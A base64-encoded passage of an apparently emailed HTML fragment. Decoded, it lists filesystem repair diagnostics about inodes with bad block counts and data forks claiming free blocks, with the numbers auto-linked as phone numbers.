NDk1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEg Zm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzQxNyI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzQxNzwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjkzMjE0OTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+OTMyMTQ5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbWFnaWMgIyAweDIwMzEzMDMwIGluIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7KGRhdGEgZm9yaykgYm1idCBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDU1MzQi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNTUzNDwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgZGF0YSBm b3JrIGluIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+d291bGQgaGF2ZSBjbGVhcmVkIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5Mjc3MjEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5Mjc3MjE8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2OTI4NDUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2OTI4NDUwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw O2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODQ4MCI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4NDgwPC91PjwvZm9udD48 L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9m b250PjxhIGhyZWY9InRlbDoxNjkyODQ1MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjkyODQ1MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkz MTg0ODEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMx ODQ4MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAyNDEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MzgzNjMiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MzgzNjM8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNDA8 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI4OSBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk0MDQwMCI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0MDQwMDwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI1NzwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDMyIGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk0MjEy MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk0MjEy MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMg ZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDQxNDMiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwNDE0MzwvdT48L2ZvbnQ+PC9hPjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NDIxMjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NDIxMjI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA0MTQ0Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDQxNDQ8L3U+ PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3Mg MTA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQyMTIyIj48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQyMTIyPC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTEzPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzExNDQz Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTE0NDM8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ2NDA1Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ2NDA1PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6OTMxMTQ0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT45MzExNDQ0PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDEwNTMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5 NDY0MDUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5 NDY0MDU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAxMDU3PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRh IGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDg3NzYiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDg3NzY8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250 PjxhIGhyZWY9InRlbDo5MzE3NjY1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjkzMTc2NjU8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ4Nzc2 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ4Nzc2 PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBm cmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNzY2NiI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE3NjY2PC91PjwvZm9udD48L2E+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDY4MSBmb3IgaW5vZGUgPC9m b250PjxhIGhyZWY9InRlbDoxNjk0ODc3NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjk0ODc3NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY4OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTYyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2OTQ5MDExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2OTQ5MDExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwg d291bGQgcmVzZXQgdG8gNTYxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmV4dGVudHMgMjAwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ5MDEx Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ5MDEx PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQg dG8gMTk5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NTE1MzAiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NTE1MzA8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDo4NDE4OTY4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1Pjg0MTg5Njg8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTU3Mjk2Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTU3Mjk2PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6ODQzNTY0MyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT44NDM1NjQzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjk1NzI5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjk1NzI5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTYwMzYyIj48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTYwMzYyPC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVl IGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMyMDc5NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzIwNzk1PC91PjwvZm9udD48L2E+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9 InRlbDoxNjk2MDM2MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4xNjk2MDM2MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4m bmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjA3OTYiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMDc5NjwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1MSBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk2MDM2MiI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2MDM2MjwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDY1PC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5NjUwMjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5NjUwMjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA0NDEyIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDQ0MTI8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY1MDI5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY1MDI5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMwNDQxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzA0NDEzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk2NzA3MiI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk2NzA3MjwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIyNDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+OTMyMjI0MDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4OTggZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5NjcwNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5NjcwNzI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byA5MTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk3MjUxMyI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk3MjUxMzwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjIwOTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMjA5NjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk3Njk4MSI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk3Njk4MTwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MjY0Mjk2NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNzI2NDI5NjU8L3U+PC9mb250PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTgwNDMxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTgwNDMxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMwNTk2NiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzA1OTY2PC91Pjwv Zm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBp bm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MTAyMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MTAyMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjkzMTMyMTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+OTMxMzIxNTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODEwMjMiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODEwMjM8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sg PC9mb250PjxhIGhyZWY9InRlbDo5MzEzMjE2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjkzMTMyMTY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTA4IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTgxMDIzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTgxMDIzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gNTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDoyODAxNTE4NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4yODAxNTE4NzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY5ODMyNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY5ODMyNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoyODAxNTE4OCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yODAxNTE4ODwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMTYg Zm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyNzEiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyNzE8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyMjU8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhy ZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjk4MzI4MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMjE5MDYiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMyMTkwNjwvdT48 L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4g aW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyODAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyODA8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9 InRlbDo5MzIxOTA3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjkzMjE5MDc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+YmFkIG5ibG9ja3MgODMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5ODMyODAi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5ODMyODA8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0 byA5NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTg3MDQ5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTg3MDQ5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 